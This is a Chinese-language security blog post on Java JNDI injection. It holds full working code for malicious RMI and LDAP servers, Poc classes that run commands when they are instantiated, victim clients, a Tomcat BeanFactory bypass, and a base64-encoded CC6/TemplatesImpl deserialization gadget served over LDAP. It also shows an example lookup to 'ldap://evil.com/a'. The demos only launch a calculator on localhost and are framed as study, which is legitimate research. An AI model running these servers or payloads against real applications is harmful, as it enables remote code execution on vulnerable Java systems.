关于我

JNDI注入

JNDI注入

实战经常遇到,只会打不动原理,现在来浅学一下

JNDI

JNDI(Java Naming and Directory Interface)是 Java 为统一访问各种“命名”和“目录”服务而设计的一套标准接口(位于 javax.naming.*

JNDI设计了一套标准:

服务功能JNDI SPI 包典型 URL
LDAP目录 + 命名com.sun.jndi.ldap.LdapCtxFactoryldap://host:389/ou=People,dc=example,dc=com
DNS命名com.sun.jndi.dns.DnsContextFactorydns://8.8.8.8/google.com
RMI远程对象命名com.sun.jndi.rmi.registry.RegistryContextFactoryrmi://host:1099/HelloObj
CORBA COS分布式对象目录com.sun.jndi.cosnaming.CNCtxFactorycorbaname::host:1050#MyService
文件系统把文件路径当名字com.sun.jndi.fscontext.RefFSContextFactoryfile:/tmp/jndiref

这使得所有的命名和目录服务都可以使用同一套代码进行调用;

Context ctx = new InitialContext();     // 初始化上下文
Object obj = ctx.lookup("ldap://evil.com/a"); // 同一行代码可换任何协议

我们看到这个代码其实已经可以思考了,如果这个lookup方法内的参数可控,那么我们就可以利用JNDI加载任意的java恶意class或恶意反序列化数据

RMI

接下来学习很常用的trick,利用RMI服务来进行JNDI注入

RMIServer

我们先写一个RMIServer:

首先在本机的1099端口起了一个RMI Registry注册表:

LocateRegistry.createRegistry(1099);

然后构造一个恶意对象,此处Reference是 JNDI 提供的对象引用封装,用于告诉客户端应该去http://127.0.0.1:5002/下载class文件,然后用指定工厂类实例化

Reference reference = new Reference(
        "RMIPoc",                 // 类名
        "RMIPoc",                 // 工厂类名(加载后实例化)
        "http://127.0.0.1:5002/"); // 远程 codebase(jar/class 下载地址)

接下来把非远程对象 Reference包成远程对象存根ReferenceWrapper,让其能通过 RMI 传输:

ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);

然后把hello绑定到注册表,客户端可以通过rmi://<attacker-ip>:1099/hello进行访问

Naming.bind("hello",refObjWrapper);

完整代码如下:

package com.yuy0ung;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    void register() throws Exception{
        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("RMIPoc","RMIPoc","http://127.0.0.1:5003/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        Naming.bind("hello",refObjWrapper);
        System.out.println("START RUN");
    }
    public static void main(String[] args) throws Exception {
        new RMIServer().register();
    }
}

运行后就可以启动一个RMIServer了,只要客户端访问该服务,就会返回ReferenceWrapper存根,客户端就会根据ReferenceWrapper里的地址(此处是http://127.0.0.1:5003/)去访问下载RMIPoc.class文件并实例化

RMIPoc

那么我们的class文件应该怎么构造呢?

需要注意的是,注意,该类需要继承ObjectFactory类,并且构造函数需要为public

package com.yuy0ung;

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.IOException;
import java.rmi.RemoteException;
import java.util.Hashtable;

public class RMIPoc {
    public RMIPoc() throws RemoteException {
        super();
        try {
            Runtime.getRuntime().exec("open -a calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

编译一下,再起一个http服务: QQ_1762149669405

现在客户端就可以来访问并下载class文件了

RMIClient

接下来构建一个客户端模拟受害者,用前面提到的用法即可:

package com.yuy0ung;

import javax.naming.InitialContext;

public class RMIClient {
    public static void main(String[]args) throws Exception {
        String string = "rmi://localhost:1099/hello";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

运行即可执行命令,弹出计算器:

QQ_1762149699771

上面完成的就是利用RMI服务来进行的JNDI注入攻击

LDAP

接下来学习如何使用LDAP服务进行JNDI注入

学过AD域的应该比较熟悉LDAP,LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容

LDAPServer

我们可以使用LDAP服务来存储Java对象,如果我们此时能够控制JNDI去访问存储在LDAP中的Java恶意对象,那么就有可能达到攻击的目的,LDAP能够存储的Java对象如下

  • Java 序列化
  • JNDI的References
  • Marshalled对象
  • Remote Location

配置server前,先下载LDAP依赖:

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
    <scope>test</scope>
</dependency>

完整代码:

package com.yuy0ung;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=yuy0ung,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:5003/#LDAPPoc"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

LDAPPoc

poc也差不多:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class LDAPPoc implements ObjectFactory {
    public LDAPPoc() throws Exception{
        try {
            Runtime.getRuntime().exec("open -a calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

LDAPClient

package com.yuy0ung;

import javax.naming.InitialContext;

public class LDAPClient {
    public static void main(String[]args) throws Exception{
        String string = "ldap://localhost:9999/LDAPPoc";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

最后一样的用法,成功命令执行:

image-20251103143939872

绕过高版本限制

使用本地的Reference Factory类

8u191后已经默认不允许加载codebase中的远程类,但我们可以从本地加载合适Reference Factory

需要注意是,该本地工厂类必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换,并且该工厂类至少存在一个getObjectInstance()方法。

Tomcat8

org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。

org.apache.naming.factory.BeanFactorygetObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

反序列化绕过

因为LDAP 还可以存储序列化的数据,那么如果LDAP存储的某个对象的 javaSerializedData 值不为空,则客户端会通过调用 obj.decodeObject() 对该属性值内容进行反序列化。如果客户端存在反序列化相关组件漏洞,则我们可以通过LDAP来传输恶意序列化对象。

只需要稍微修改一下server的代码(我这里用的CC6+Templates动态加载字节码):

package com.yuy0ung;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;

public class LDAP_BS {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1/#BS"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            e.addAttribute("javaClassName", "foo");
            //getObject获取Gadget
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode(            "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAHeXV5MHVuZ3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAAAnNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyADdjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UckFYRmlsdGVyAAAAAAAAAAAAAAB4cHNyAD5vcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAVTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABi3K/rq+AAAANAA2CgAJACUKACYAJwgAKAoAJgApBwAqBwArCgAGACwHAC0HAC4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20veXV5MHVuZy9SQ0VUZXN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAvAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEADFJDRVRlc3QuamF2YQwACgALBwAwDAAxADIBABJvcGVuIC1hIGNhbGN1bGF0b3IMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQATY29tL3l1eTB1bmcvUkNFVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAAAAAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAACgAOAAAADAABAAAABQAPABAAAAABABEAEgACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAFQAOAAAAIAADAAAAAQAPABAAAAAAAAEAEwAUAAEAAAABABUAFgACABcAAAAEAAEAGAABABEAGQACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAGAAOAAAAKgAEAAAAAQAPABAAAAAAAAEAEwAUAAEAAAABABoAGwACAAAAAQAcAB0AAwAXAAAABAABABgACAAeAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAA4ACQARAAwADwANABAAFgASAA4AAAAMAAEADQAJAB8AIAAAACEAAAAHAAJMBwAiCQABACMAAAACACRwdAASSGVsbG9UZW1wbGF0ZXNJbXBscHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAFdmFsdWVxAH4ABnh4dAAHeXV5MXVuZ3g="
            ));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

运行客户端即可触发反序列化: QQ_1762153647837

Created by Yuy0ung. Powered by GitHub Page.